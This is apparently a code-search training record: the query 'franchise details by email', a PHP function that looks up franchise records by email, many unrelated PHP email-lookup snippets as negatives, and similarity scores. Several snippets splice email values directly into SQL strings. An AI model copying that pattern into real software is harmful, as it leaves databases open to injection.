Dba::escape($this->id) . \"'\";\n\t\t$db_results = Dba::query($sql);\n\n\t\t$results = Dba::fetch_assoc($db_results);\n\n\t\treturn $results;\n\n\t}", "public function actionNosDestinationsCountryInfo(){\n $theEntry = \\app\\modules\\destinations\\api\\Catalog::cat(URI);\n $this->entry = $theEntry;\n // var_dump($theEntry->model->photos);exit;\n if (!$theEntry) throw new HttpException(404, 'Oops! Cette page n\\'existe pas.');\n $this->getSeo($theEntry->model->seo);\n \n $infos_all_childrent = $theEntry->children();\n \n \n // 6 tour On Top\n \n $voyage = [];\n if(!empty($theEntry->data->tours)){\n $voyage = \\app\\modules\\programmes\\api\\Catalog::items(['where' => ['IN', 'item_id', $theEntry->data->tours],\n 'orderByCustom' => [new \\yii\\db\\Expression('FIELD (item_id, ' . implode(',',$theEntry->data->tours) . ')')]\n ]);\n } \n \n \n $this->countTour = $this->getAjaxFilter(['country'=>SEG1,'type'=>'','length'=>''])['totalCount'];\n if (Yii::$app->request->isAjax && !IS_MOBILE) {\n \n $this->countTour = $this->getAjaxFilter(['country'=>SEG1,'type'=>'','length'=>''])['totalCount'];\n return $this->countTour;\n \n } \n \n // BLOGS\n $arrBlog = array();\n if(!Yii::$app->cache->get('cache-blog-'.SEG1)){\n if(isset(\\app\\modules\\modulepage\\api\\Catalog::get(SEG1.'/informations-pratiques/blog')->data->blogs)) {\n $dataBlogSelected = \\app\\modules\\modulepage\\api\\Catalog::get(SEG1.'/informations-pratiques/blog')->data->blogs;\n foreach ($dataBlogSelected as $keyBlog => $valueBlog) {\n $arrBlog[] = $this->getDataPost($valueBlog);\n foreach ($arrBlog as $key2 => $value2) {\n $categoryId = $value2['categories'][0];\n $featuredMediaId = $value2['featured_media'];\n\n $titleCategory = $this->getCategoryName($categoryId)['name'];\n $arrBlog[$keyBlog]['cat_name'] = $titleCategory;\n $featuredMediaData = $this->getFeatureImage($featuredMediaId)['media_details']['sizes']['barouk_list-thumb'];\n $arrBlog[$keyBlog]['src'] = '/timthumb.php?src=' . $featuredMediaData['source_url'] . '&w=300&h=200&zc=1&q=80';\n }\n }\n }\n Yii::$app->cache->set('cache-blog-'.SEG1, $arrBlog);\n }else{\n $arrBlog = Yii::$app->cache->get('cache-blog-'.SEG1);\n \n } \n \n // var_dump($arrBlog[0]);exit;\n \n return $this->render(IS_MOBILE ? '//page2016/mobile/nos-destinations-country-informations-pratiques' : '//page2016/nos-destinations-country-informations-pratiques',\n [\n 'theEntry' => $theEntry,\n\n 'voyage' => $voyage,\n 'arrBlog' => $arrBlog,\n 'infos_all_childrent' => $infos_all_childrent,\n ]);\n }" ]
[ "0.6509394", "0.644296", "0.63309795", "0.63279337", "0.6218463", "0.60894024", "0.6032293", "0.59856784", "0.5932429", "0.59283614", "0.5898285", "0.58791995", "0.58634895", "0.585595", "0.58221346", "0.5803031", "0.5768243", "0.5768243", "0.57607037", "0.57112366", "0.56684583", "0.56655324", "0.5622585", "0.5603826", "0.55893266", "0.5576575", "0.5575403", "0.55666476", "0.55595356", "0.55414075", "0.5508597", "0.5507817", "0.54860574", "0.5467796", "0.5460973", "0.54468226", "0.5434407", "0.54230565", "0.5417366", "0.5408193", "0.54024845", "0.54011494", "0.54003876", "0.53878707", "0.5382433", "0.5381633", "0.53737044", "0.53654957", "0.5360849", "0.53466654", "0.53404087", "0.53400415", "0.5333653", "0.53266746", "0.53005016", "0.5300194", "0.52968466", "0.5292206", "0.5265204", "0.52619845", "0.5261984", "0.52596825", "0.52501327", "0.5247273", "0.5238452", "0.523173", "0.5229679", "0.5229659", "0.521922", "0.52166414", "0.52163535", "0.5212726", "0.5211362", "0.5208177", "0.52000856", "0.51995593", "0.51987076", "0.5198214", "0.5196355", "0.5195184", "0.5194019", "0.51898545", "0.5189819", "0.5189251", "0.51869637", "0.5184312", "0.51823133", "0.5179156", "0.51686555", "0.5161172", "0.51593155", "0.5158669", "0.51582897", "0.5158282", "0.5153104", "0.515259", "0.51518893", "0.5151365", "0.51510835", "0.51506567" ]
0.5384175
44
franchise details by email
function fetchFranchiseDetailsByEmail($id) { $data = $id; global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id, fname, lname, ssefin, email, phone_business, phone, home_phone, fax, address, city_state_zip, developer_bank, software, afname, alname, aemail, primary_phone, aphone, afax, acity_state_zip, file, laddress, lstore, lstore_type, lcity_state_zip, lemail, lwebsite, lphone, lphone2, lfax, date, date_modified FROM " . $db_table_prefix . "franchise WHERE email = ? LIMIT 1"); $stmt->bind_param("s", $data); $stmt->execute(); $stmt->bind_result( $id, $fname, $lname, $ssefin, $email, $phone_business, $phone, $home_phone, $fax, $address, $city_state_zip, $developer_bank, $software, $afname, $alname, $aemail, $primary_phone, $aphone, $afax, $acity_state_zip, $file, $laddress, $lstore, $lstore_type, $lcity_state_zip, $lemail, $lwebsite, $lphone, $lphone2, $lfax, $date, $date_modified); while ($stmt->fetch()) { $row[] = array('id' => $id, 'fname' => $fname, 'lname' => $lname, 'ssefin' => $ssefin, 'email' => $email, 'phone_business' => $phone_business, 'phone' => $phone, 'home_phone' => $home_phone, 'fax' => $fax, 'address' => $address, 'city_state_zip' => $city_state_zip, 'developer_bank' => $developer_bank, 'software' => $software, 'afname' => $afname, 'alname' => $alname, 'aemail' => $aemail, 'primary_phone' => $primary_phone, 'aphone' => $aphone, 'afax' => $afax, 'acity_state_zip' => $acity_state_zip, 'file' => $file, 'laddress' => $laddress, 'lstore' => $lstore, 'lstore_type' => $lstore_type, 'lcity_state_zip' => $lcity_state_zip, 'lemail' => $lemail, 'lwebsite' => $lwebsite, 'lphone' => $lphone, 'lphone2' => $lphone2, 'lfax' => $lfax, 'date' => $date, 'date_modified' => $date_modified); } $stmt->close(); return ($row); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function get_profile_email($email){\r\n\t\r\n}", "public function traerPorMail($email) {\n\n}", "function getByEmail($email){\n\t\t}", "public function getEmail() {}", "public function getEmail() {}", "public function getEmail() {}", "public function getEmail() {}", "public function getEmail() {}", "public function show(Email $email)\n {\n //\n }", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "public function getEmail();", "function getByEmail($email);", "public static function getdetailbyemail($email) {\n \n \t$data = Doctrine_Query::create()->select(\"u.*\")\n \t->from('User u')\n \t->where('u.email='.\"'$email'\")\n \t->andWhereIn(\"u.usertype!='F'\")\n \t->fetchArray();\n \n \treturn @$data[0];\n }", "public function getUser($email);", "function getAds_email($email)\n\t\t{\n\t\t\t$seachValues = $this->manage_content->getValue_email('company_info','*','company_email',$email);\n\t\t\tif($seachValues != \"\")\n\t\t\t{\n\t\t\t\tforeach($seachValues as $searchValue)\n\t\t\t\t{\n\t\t\t\t\techo '<!--container for adds to be repeated-->\n\t\t\t\t\t\t<a href=\"manage_ads.php?comp_name='.$searchValue['company_name'].'\">\n\t\t\t\t\t\t\t<div class=\"a_content\">\n\t\t\t\t\t\t\t\t<div class=\"a_image\">\n\t\t\t\t\t\t\t\t\t<img src=\"'.$searchValue['company_logo'].'\" alt=\"grafti cartt\" /> \n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"a_company_name\">'.$searchValue['company_name'].'</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</a>';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo \"No se encontraron resultados para la busqueda realizada\";\n\t\t\t}\n\t\t}", "public function getMail();", "function get_info($email)\n\t{\n\t\tif(! $email)\n\t\t\treturn FALSE;\n\t\t\t\n\t\t$get = $this->db->select('company_id, name AS company_name, registrant_name, registrant_email')\n\t\t\t\t\t\t->where('registrant_email', $email)\n\t\t\t\t\t\t->get('company');\n\t\t\n\t\tif($get && $get->num_rows()>0)\n\t\t{\n\t\t\treturn $get->row_array();\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "function getInfoEmail($id_email) {\n if ($this->connectToMySql()) {\n $query = sprintf(\"SELECT * FROM scuola.email_store WHERE id_email = %s\", $id_email);\n\n // Perform Query\n $result = mysql_query($query);\n if (!$result) {\n setcookie('message', mysql_error($GLOBALS['link']));\n $info = 'NO INFO!';\n } else {\n $row = mysql_fetch_assoc($result);\n $info = 'Email:' . $id_email . ' from:' . $row['from_name'] . '<' . $row['from_email'] . '>';\n }\n }\n $this->closeConnection();\n return $info;\n }", "public function getUserByEmail($email);", "abstract protected function _getEmail($info);", "public function getCustomerEmail();", "public function getCustomerEmail();", "public function getCustomerEmail();", "public function basicInfoByEmail($email)\n {\n return $this->model->where ( 'email', '=', $email )\n ->select (\n [\n 'users.id', 'users.email', 'users.password',\n 'users.current_sign_in_at', 'users.current_sign_in_ip', 'users.sign_in_count',\n 'user_profiles.first_name', 'user_profiles.last_name'\n ] )\n ->join ( 'user_profiles', 'user_profiles.user_id', '=', 'users.id' )->first ();\n }", "function get_user_by_email($email)\n {\n }", "function sendInfoMail()\t{\n\t\tif ($this->conf['infomail'] && $this->conf['email.']['field'])\t{\n\t\t\t$recipient='';\n\t\t\t$emailfields=t3lib_div::trimexplode(',',$this->conf['email.']['field']);\t\t\t\t\n\t\t\tforeach($emailfields as $ef) {\n\t\t\t\t$recipient.=$recipient?$Arr[$this->conf['email.']['field']].';'.$recipient:$Arr[$this->conf['email.']['field']];\n\t\t\t}\n\t\t\t$fetch = t3lib_div::_GP('fetch');\n\t\t\tif ($fetch)\t{\n\t\t\t\t\t// Getting infomail config.\n\t\t\t\t$key= trim(t3lib_div::_GP('key'));\n\t\t\t\tif (is_array($this->conf['infomail.'][$key.'.']))\t\t{\n\t\t\t\t\t$config = $this->conf['infomail.'][$key.'.'];\n\t\t\t\t} else {\n\t\t\t\t\t$config = $this->conf['infomail.']['default.'];\n\t\t\t\t}\n\t\t\t\t$pidLock='';\n\t\t\t\tif (!$config['dontLockPid'] && $this->thePid)\t{\n\t\t\t\t\t$pidLock='AND pid IN ('.$this->thePid.') ';\n\t\t\t\t}\n\n\t\t\t\t\t// Getting records\n\t\t\t\tif (t3lib_div::testInt($fetch))\t{\n\t\t\t\t\t$DBrows = $GLOBALS['TSFE']->sys_page->getRecordsByField($this->theTable,$this->conf['uidField'],$fetch,$pidLock,'','','1');\n\t\t\t\t} elseif ($fetch) {\t// $this->conf['email.']['field'] must be a valid field in the table!\n\t\t\t\t\tforeach($emailfields as $ef) {\n\t\t\t\t\t\tif ($ef) $DBrows = $GLOBALS['TSFE']->sys_page->getRecordsByField($this->theTable,$ef,$fetch,$pidLock,'','','100');\n\t\t\t\t\t\tif (count($DBrows )) break;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Processing records\n\t\t\t\tif (is_array($DBrows))\t{\n\t\t\t\t\t//$recipient = $DBrows[0][$this->conf['email.']['field']];\n\t\t\t\t\tif ($this->conf['evalFunc'])\t{\n\t\t\t\t\t\t$DBrows[0] = $this->userProcess('evalFunc',$DBrows[0]);\n\t\t\t\t\t}\n\t\t\t\t\t$this->compileMail($config['label'], $DBrows, $this->getFeuserMail($DBrows[0],$this->conf), $this->conf['setfixed.']);\n\t\t\t\t} elseif ($this->cObj->checkEmail($fetch)) {\n\t\t\t\t\t$this->sendMail($fetch, '', '',trim($this->cObj->getSubpart($this->templateCode, '###'.$this->emailMarkPrefix.'NORECORD###')));\n\t\t\t\t}\n\n\t\t\t\t$content = $this->metafeeditlib->getPlainTemplate($this->conf,$this->markerArray,'###TEMPLATE_INFOMAIL_SENT###');\n\t\t\t} else {\n\t\t\t\t$content = $this->metafeeditlib->getPlainTemplate($this->conf,$this->markerArray,'###TEMPLATE_INFOMAIL###');\n\t\t\t}\n\t\t} else $content='Error: infomail option is not available or emailField is not setup in TypoScript';\n\t\treturn $content;\n\t}", "public function show($email)\n {\n return Commande::Join('commande_plat', 'commande.id', '=' , 'commande_plat.commande_id')\n ->Join('plats', 'plats.id', '=', 'commande_plat.plat_id')\n ->Join('restaurants', 'restaurants.id', '=', 'commande.id_restaurant')\n ->where('email_client', $email)\n ->where('state', '<>', 'en attente')\n ->select('commande.id AS commande_id', 'restaurants.name AS name_restaurant', 'state', 'quantité', 'date', 'plats.name AS name_plat', 'plats.picture AS picture_plat')\n ->get();\n }", "public function getEmail(): string;", "public function getEmail(): string;", "public function getEmail(): string;", "public function email($email) {\n\t\n\t\n\t\n\t\treturn $email;\n\t\n\t}", "private function email(){\n\t\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t\t$this->response('',406);\n\t\t\t}\n\t\t\t$email = $this->_request['email'];\n\t\t\t$sql = mysql_query(\"SELECT email FROM accounts WHERE email = '\".$email.\"'\", $this->db);\n\t\t\tif(mysql_num_rows($sql) > 0){\n\t\t\t\t$result = array();\n\t\t\t\twhile($rlt = mysql_fetch_array($sql,MYSQL_ASSOC)){\n\t\t\t\t\t$result[] = $rlt;\n\t\t\t\t}\n\t\t\t\t// If success everythig is good send header as \"OK\" and return list of users in JSON format\n\t\t\t\techo json_encode(array('valid' =>FALSE));\n\t\t\t} else {\n\t\t\t\techo json_encode(array('valid' =>TRUE));\n\t\t\t}\n\t\t\t//$this->response('',204);\t// If no records \"No Content\" status\n\t\t}", "public function getGiftcardRecipientEmail();", "function\tm_GetUserDetailByEmail($stEmail='')\n\t{\n\t\t $stQuery=\"SELECT m.* FROM tb_client m WHERE m.vEmail='\".$stEmail.\"'\";\n\t\t$rsResult = $this->obDbase->Execute($stQuery);\n\t\tif (!$rsResult)\n\t\t{ \t\t\t\t\t\t\t\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $rsResult;\t\t\t \n\t\t}\t\t\t\t\n\t}", "public function from($email);", "function getRHUL_Email() {\n\treturn getRHUL_LDAP_FieldValue(\"adi_mail\");\n}", "public function getEmail()\n {\n return $this->email;\n }", "public function getEmail() { return $this->email; }", "public function getEmail()\n\n{\n\nreturn $this->email;\n\n}", "function wp_user_personal_data_exporter($email_address)\n {\n }", "public function get_user($email){\n\t\t$email_md5_hash = md5($email); \n\t\t$endpoint = '/lists/'. LIST_ID . '/members/'. $email_md5_hash;\n\t\t$result = $this->mc->get($endpoint);\n\t\tif($result['status'] == '404'){\n\t\t\tprint 'user does not exist';\n\t\t}else{\n\t\t\tprint '<pre>'; print_r($result); print '</pre>';\n\t\t}\n\t\t\n\t}", "public function getUserDetailsByEmail($email)\n\t{\n\t\tif (empty($email))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tglobal $wpdb;\n\t\t$sql = \"\n\t\t\t\tSELECT\n\t\t\t\tusers.user_email,\n\t\t\t\tusers.display_name,\n\t\t\t\tusers.user_registered,\n\t\t\t\t(SELECT usermeta.meta_value FROM $wpdb->usermeta usermeta\n\t\t\t\tWHERE usermeta.meta_key = 'activation_key' and usermeta.user_id = users.ID) as activation_key\n\t\t\t\tFROM $wpdb->users users\n\t\t\t\tWHERE\n\t\t\t\tusers.user_email = '\" . $email . \"'\n\t\t\t\t\";\n\n\t\treturn $wpdb->get_row($sql);\n\t}", "public function getDetails($email)\n {\n $user = User::where('email',$email)->get()->first();\n $imgName= $user->firstname.\"-\".$user->id.\".jpg\";\n $imgUrl='/storage/uploads/'.$imgName;\n $imagePath = asset($imgUrl);\n\n return response()->json([\n 'first_name'=>$user->firstname,\n 'last_name'=>$user->lastname,\n 'email'=>$user->email,\n 'Id'=>$user->id,\n 'reports_to'=>$user->reportsto,\n 'phone_number'=>$user->phone_number,\n 'head_office'=>$user->headoffice,\n 'county'=>$user->county,\n 'supervisor_phone'=>$user->supervisor_phone,\n 'account_img' => $imagePath,\n\n ]);\n }", "function emailSettingDetails($email)\n {\n $sql = \"SELECT *\n FROM\n email_settings\n WHERE\n email = '$email'\";\n $query = $this->db->query($sql);\n if($query->num_rows()>0)\n {\n $row = $query->row();\n return $row;\n }\n }", "public function getEmail() {\r\n return $this->email;\r\n }", "function infoCompteviaEmail($email)\n{\n $db = connectionDB();\n $request = $db->prepare('SELECT id, nom, prenom, email FROM accounts WHERE email = :email');\n $request->execute(array(':email' => $email));\n $result = $request->fetch(PDO::FETCH_ASSOC);\n return $result;\n}", "public function getEmail(){\n return $this->email;\n }", "public function getEmail(){\n return $this->email;\n }", "public function getGiftcardSenderEmail();", "public function get_email() \n {\n return $this->email;\n }", "function buscamePorMail($email){\n $usuariosTraidos = traeTodaLaBase();\n //la procesamos para buscar el mail que pasamos como parametro\n //a ver si existe o no\n foreach($usuariosTraidos as $usuario){\n //SI elMailDeLaBase es igualigual al mailPasadoPorParametro\n if($usuario['email'] == $email){\n //returname el usario\n return $usuario;\n }\n }\n //si no, \"returname\" NULL asi uso el dato para validar\n return null;\n }", "public function show(mail $mail) {\n //\n }", "function get_posts_discussion_email_details($discussion, $emails) {\n global $CFG;\n require_once($CFG->dirroot.'/user/lib.php');\n $contribemails = array();\n $userids = get_contributor_ids($discussion);\n // Get contributor details.\n $users = user_get_users_by_id($userids);\n foreach ($users as $user) {\n if (!in_array($user->email, $emails)) {\n $details = array();\n $details['email'] = $user->email;\n $details['mailformat'] = $user->mailformat;\n $details['username'] = $user->username;\n $contribemails[] = $details;\n }\n }\n return $contribemails;\n}", "protected function getEmail($emaill){\n\n $sql = \"SELECT * FROM users WHERE email = ?\"; //selecting from database\n $stmt = $this->connect()->prepare($sql); //istantiate a new statement and utilize $this coz i refer to database class and ask to the database to prepare it\n $stmt->execute([$emaill]);\n\n $result = $stmt->fetchAll();\n return $result; // i put all the the information of the fetch indise result to be able to send it to the users.view.php \n }", "private function emailAtLogin() {}", "function find_by_email($h, $email ){\n \n $sql = \"SELECT * FROM \" . TABLE_USERS . \" WHERE user_email=%s LIMIT 1\";\n $query = $h->db->prepare($sql, $email);\n \n\treturn $parents = $h->db->get_results($query);; \n }", "private function _extract_email()\r\n\t{\r\n\t\tif (! isset( $_SESSION['blesta_client_id'] ) ) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\tLoader :: loadModels( $this, array( 'clients' ) );\r\n\t\t$client_id\t=\t$_SESSION['blesta_client_id'];\r\n\t\t\r\n\t\t$client\t=\t$this->Clients->get( $_SESSION['blesta_client_id'] );\r\n\t\t\r\n\t\tif (! isset( $client->email ) ) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\treturn $client->email;\r\n\t}", "function email($email_SI,$password_SI) {\n\t require(ROOT_PATH . 'inc/database.php');\n\t\t\ttry {\n\t\t\t\t$email = $db->prepare('SELECT email FROM user_pass WHERE email = ? AND password = ?');\n\t\t\t $email->bindParam(1,$email_SI);\n\t\t\t $email->bindParam(2,$password_SI);\n\t\t\t $email->execute();\n\t\t\t foreach ($email as $mail) {\n\t\t\t $email = $mail['email'];\n\t\t\t return $email;\n\t\t\t }\n\t\t\t} catch (Exception $e) {\n\t\t\t\techo 'Data could not be retrieved from the database.';\n\t\t\t exit;\n\t\t\t}\n\t\t}", "public function getEmail(){\n\t\t\t\t\t\t\t$sql = \"SELECT email from users \";\n\t\t\t\t\t\t\t$statement = $this->db->prepare($sql);\n\t\t\t\t\t\t\t$statement->execute();\n\t\t\t\t\t\t\t$result = $statement->fetch();\n\t\t\t\t\t\t\t// $result = $statement->fetchAll();\n\n\t\t\t\t\t\t\tprint_r($result);\n\t\t\t\t\t\n\t\t\t\t\t}", "public function byemailAction(Request $request)\n {\n $maincompany = $this->getUser()->getMaincompany();\n $email = $request->query->get('email');\n $emailConstraint = new Email();\n $errorList = $this->get('validator')->validateValue($email, $emailConstraint);\n $result = array();\n $result['error'] = 0; \n if (count($errorList) != 0) {\n $result['error'] = -1;\n $result['id'] = -1;\n $result['name'] = '';\n goto next;\n }\n $em = $this->getDoctrine()->getManager();\n $customer = $em->getRepository('NvCargaBundle:Customer')->findoneBy(['maincompany'=>$maincompany,'email'=>$email]);\n \n if ($customer) {\n $result['id'] = $customer->getId();\n $result['name'] = $customer->getName() . ' ' . $customer->getLastname();\n } else {\n $result['id'] = 0;\n $result['name'] = '';\n }\n next:\n return new JsonResponse($result); \n }", "function getUserEmail($id_utente) {\n\n $query = sprintf(\"SELECT email FROM scuola.utenti_scuola WHERE id_utente = %s\", $id_utente);\n\n // Perform Query\n $result = mysql_query($query);\n\n while ($row = mysql_fetch_assoc($result)) {\n $email = $row['email'];\n }\n return $email;\n }", "public function envoyer_email($id)\n {\n\n $q = $this->db->where('fac_id', $id)\n ->where('fac_inactif is null')\n ->select('t_factures.*,scv_email')\n ->join('t_commandes', 'cmd_id=fac_commande', 'left')\n ->join('t_devis', 'dvi_id=cmd_devis', 'left')\n ->join('t_societes_vendeuses', 'scv_id=dvi_societe_vendeuse', 'left')\n ->get('t_factures');\n if ($q->num_rows() != 1) {\n throw new MY_Exceptions_NoSuchRecord('Impossible de trouver la facture numéro ' . $id);\n }\n $row = $q->row();\n\n // récupération du contact et du correspondant\n $q = $this->db->select(\"dvi_client,dvi_correspondant\")\n ->join('t_commandes', 'cmd_id=' . $row->fac_commande, 'left')\n ->join('t_devis', 'dvi_id=cmd_devis', 'left')\n ->get('t_factures');\n if ($q->num_rows() == 0) {\n throw new MY_Exceptions_NoSuchUser('Pas de correspondant trouvé pour la facture ' . $id);\n }\n\n $row2 = $q->row();\n\n // récupération de l'adresse email\n $q = $this->db->where('cor_id', $row2->dvi_correspondant)\n ->where('LENGTH(cor_email)>0')\n ->get('t_correspondants');\n if ($q->num_rows() == 1) {\n $email = $q->row()->cor_email;\n } else {\n $q = $this->db->where('ctc_id', $row2->dvi_client)\n ->where('LENGTH(ctc_email)>0')\n ->get('t_contacts');\n if ($q->num_rows() == 1) {\n $email = $q->row()->ctc_email;\n }\n }\n if (!$email) {\n throw new MY_Exceptions_NoEmailAddress(\"Le contact n'a pas d'adresse email\");\n }\n\n // récupération du modèle de document\n $q = $this->db->where('mod_nom', 'FACTURE')\n ->get('t_modeles_documents');\n if ($q->num_rows() == 0) {\n throw new MY_Exceptions_NoSuchTemplate(\"Pas de modèle disponible pour le message email\");\n }\n $sujet = $q->row()->mod_sujet;\n $corps = $q->row()->mod_texte;\n\n $fac_fichier = $this->generer_pdf($id);\n\n // envoi du mail\n $this->load->library('email');\n $resultat = $this->email->send_one($email, $row->scv_email, $sujet, $corps, $fac_fichier);\n if (!$resultat) {\n return false;\n }\n\n // enregistrement de la transmission\n $transmise = $row->fac_transmise;\n if ($transmise != '') {\n $transmise .= '<br />';\n }\n $transmise .= date('d/m/Y') . '&nbsp;Mail';\n $data = array(\n 'fac_transmise' => $transmise,\n );\n return $this->_update('t_factures', $data, $id, 'fac_id');\n }", "public function getAuthoremail() {}", "public function email()\n {\n return $this->hasOne('App\\Models\\User\\Contact', 'user_id')->where('medium_id', '=', Medium::EMAIL);\n }", "abstract public function get_mailto();", "public function show($id)\n {\n //\n $mail = \"daytongarcia@gmail.com\";\n //$user = DB::table('users')->where('email', $mail)->first();\n dd($mail);\n }", "public function column_email($item)\n {\n }", "public function column_email($item)\n {\n }", "public function getEmail()\n {\n \treturn $this->email;\n }", "private function get_follow_up_mail()\n\t{\n\t\t$xsql=array();\n\t\t$xsql['dbname'] = \"plugin_leadtracker_follow_up_mails\";\n\t\t$xsql['select_felder'] = array(\"*\");\n\t\t$xsql['limit'] = \"\";\n\t\t$xsql['where_data'] = array(\"leadtracker_fum_id\" => $this->checked->leadtracker_fum_id);\n\t\t$result = $this->db_abs->select( $xsql );\n\n\t\treturn $result;\n\t}", "function findByEmail()\n {\n Configure::write('debug', '0');\n $this->layout = false;\n \n if ($this->RequestHandler->isAjax() && $this->request->data['Manager']['email']) {\n\n $conditions = array('email' => $this->request->data['Manager']['email'],'is_deleted'=>0) ;\n $managers = $this->Manager->User->find('first', array( 'contain' => array(),'conditions'=>$conditions));\n\n $assignmodel = $this->request->data['Manager']['model'];\n $modelID = $this->request->data['Manager']['model_id'];\n\n $this->set(compact('managers'));\n $this->set('assignmodel', $assignmodel);\n $this->set('modelID', $modelID);\n } else {\n exit();\n }\n\n }", "public static function getByEMAIL($email) {\n $str = \"\n SELECT id, firstName, lastName, email, password\n FROM indPrj_persons\n WHERE email ='\" . $email . \"'\";\n \n return mysql_fetch_array(Database::query($str));\n }", "public function show(user_email_verify $user_email_verify)\n {\n //\n }", "public function read_user_information($Cemail) {\n\n$condition = \"Email =\" . \"'\" . $Cemail . \"'\";\n$this->db->select('*');\n$this->db->from('customer');\n$this->db->where($condition);\n$this->db->limit(1);\n$query = $this->db->get();\n\nif ($query->num_rows() == 1) {\nreturn $query->result();\n} else {\nreturn false;\n}\n}", "function readByEmail(){\n // select all query\n $query = \"SELECT * FROM users WHERE email=?\";\n \n // prepare query statement\n $stmt = $this->conn->prepare( $query );\n \n // bind id of product to be updated\n $stmt->bindParam(1, $this->email);\n \n // execute query\n $stmt->execute();\n \n // get retrieved row\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n \n // set values to object properties\n $this->id = $row['id'];\n $this->user_type = $row['user_type'];\n $this->name = $row['name'];\n $this->apellido = $row['apellido'];\n $this->username = $row['username'];\n $this->telefono = $row['telefono'];\n $this->fecha_nac = $row['fecha_nac'];\n $this->email = $row['email'];\n $this->password = $row['password'];\n $this->image = $row['image'];\n $this->fb_uuid = $row['fb_uuid'];\n $this->google_uuid = $row['google_uuid'];\n }", "function getUserInfoByUsermail($usermail) {\n jincimport('utility.servicelocator');\n $servicelocator = ServiceLocator::getInstance();\n $logger = $servicelocator->getLogger();\n \n $dbo =& JFactory::getDBO();\n $query = 'SELECT id, username, name, email FROM #__users WHERE email = ' . $dbo->quote($usermail);\n $dbo->setQuery($query); \n $logger->debug('JINCJoomlaHelper: executing query: ' . $query);\n $infos = array();\n if ($user_info = $dbo->loadObjectList()) {\n if (! empty ($user_info)) {\n $user = $user_info[0];\n $infos['id'] = $user->id;\n $infos['username'] = $user->username;\n $infos['name'] = $user->name;\n $infos['email'] = $user->email;\n }\n }\n return $infos;\n }", "public function email_by_id($email_id)\n {\n $result = common_select_values('*', 'email_details', ' status!=2 AND email_detail_id = \"'.$email_id.'\"', 'row');\n return $result; \n\n }", "function find_email($email)\n\t{\n\n\tpassword_recovery();\n\n\n\t}", "function getFeuserMail($Arr,&$conf) {\n\t\t\t$recipient='';\n\t\t\t// handle user mail !!!!\n\t\t\tif ($conf['fe_cruser_id']) {\n\t\t\t\t$feuserid=$Arr[$conf['fe_cruser_id']];\n\t\t\t\t$DBrows = $GLOBALS['TSFE']->sys_page->getRecordsByField('fe_users','uid',$feuserid,'','','1');\n\t\t\t\t$recipient=$DBrows[0]['email'];\n\t\t\t\t\n\t\t\t} elseif ($GLOBALS['TSFE']->fe_user->user[email]) {\n\t\t\t\t// Are we conencted, if so we take conencted user's email ???\n\t\t\t\t$recipient=$GLOBALS['TSFE']->fe_user->user[email];\n\t\t\t} else {\n\t\t\t\tif (!$conf['email.']['field']) echo 'Record Email field is not defined';\n\t\t\t\t$emailfields=t3lib_div::trimexplode(',',$conf['email.']['field']);\t\t\t\t\n\t\t\t\tforeach($emailfields as $ef) {\n\t\t\t\t\t$recipient.=$recipient?$Arr[$conf['email.']['field']].';'.$recipient:$Arr[$conf['email.']['field']];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $recipient;\n\t}", "public function getEmail(){\n return $this->email;\n }", "public function getEmail(){\n\t\treturn $this->email;\n\t}", "abstract public function get_first_line_support_email();", "function getEmail() {\n\t\treturn $this->getData('email');\n\t}", "static function getUser($ruta, $email)\n {\n $lista = Archivo::getJSON($ruta);\n $ret = false;\n \n if ($lista) {\n foreach ($lista as $value) {\n $ret = ($value->_email == $email);\n if ($ret){\n $ret = $value; \n break;\n }\n }\n }\n return $ret;\n }", "public function buscarPorEmail($email){\n\t\t$conexion = $GLOBALS['conexion'];\t\t\n\t\t$query=\"SELECT * FROM persona WHERE email='$email'\";\n\t\t$enlace=$conexion->query($query);\n\t\t$dataPersona=array();\n\t\t//$id = 0;\n\t\twhile($fila=$conexion->fetch_array($enlace)){\n\t\t\t//$id = $fila['id'];\n\t\t\t$dataPersona = array(\n\t\t\t\t\t\t\t\t'id'=>$fila['id'],\n\t\t\t\t\t\t\t\t'estado_procesado'=>$fila['estado_procesado'],\n\t\t\t\t\t\t\t\t'estado'=>$fila['estado'],\n\t\t\t\t\t\t\t);\n\t\t}\n\t\treturn $dataPersona;\t\t\n\t\t//return $id;\n\t}", "public function byEmail( $email )\n\t{\n\t\treturn $this->contact->currentUser()->where('email', $email)->first();\n\t}", "public function mailDetailAction(){\r\n \t\t\r\n \t\t/**\r\n \t\t * get form id\r\n \t\t */\r\n \t\t$form_id = $this->getAttribute('form_id');\r\n \t\t\r\n \t\t/**\r\n \t\t * get mail id\r\n \t\t */\r\n \t\t$url_mail_id = $this->getUrlParam('mail_id');\r\n \t\t$mail_id = get_id($url_mail_id);\r\n\r\n \t\t/**\r\n \t\t * get mail data and assign to view\r\n \t\t */\r\n \t\t$mail_info = $this->db_model->getMialData($mail_id);\r\n \t\t$this->viewAssign('mail_info', $mail_info);\r\n \t\t\r\n \t\t\r\n \t\t$this->setDisplay('detail');\r\n \t\t\r\n \t}", "public function getDisplayName()\n {\n return $this->email;\n }", "public function actionRetrieveEmail()\n\t{\n\t\tUtilities::updateCallbackURL();\n\t\t$this->render('retrieveEmail');\n\t}", "function rnf_postie_inreach_author($email) {\n // So we can inspect the domain, refer to $domain[1]\n $domain = explode('@', $email);\n\n // Get the whitelisting options\n $options = get_option( 'rnf_postie_settings' );\n $accept_addresses = $options['emails'];\n $accept_domains = $options['domains'];\n\n // Test the email address and change it to mine if it's allowable.\n 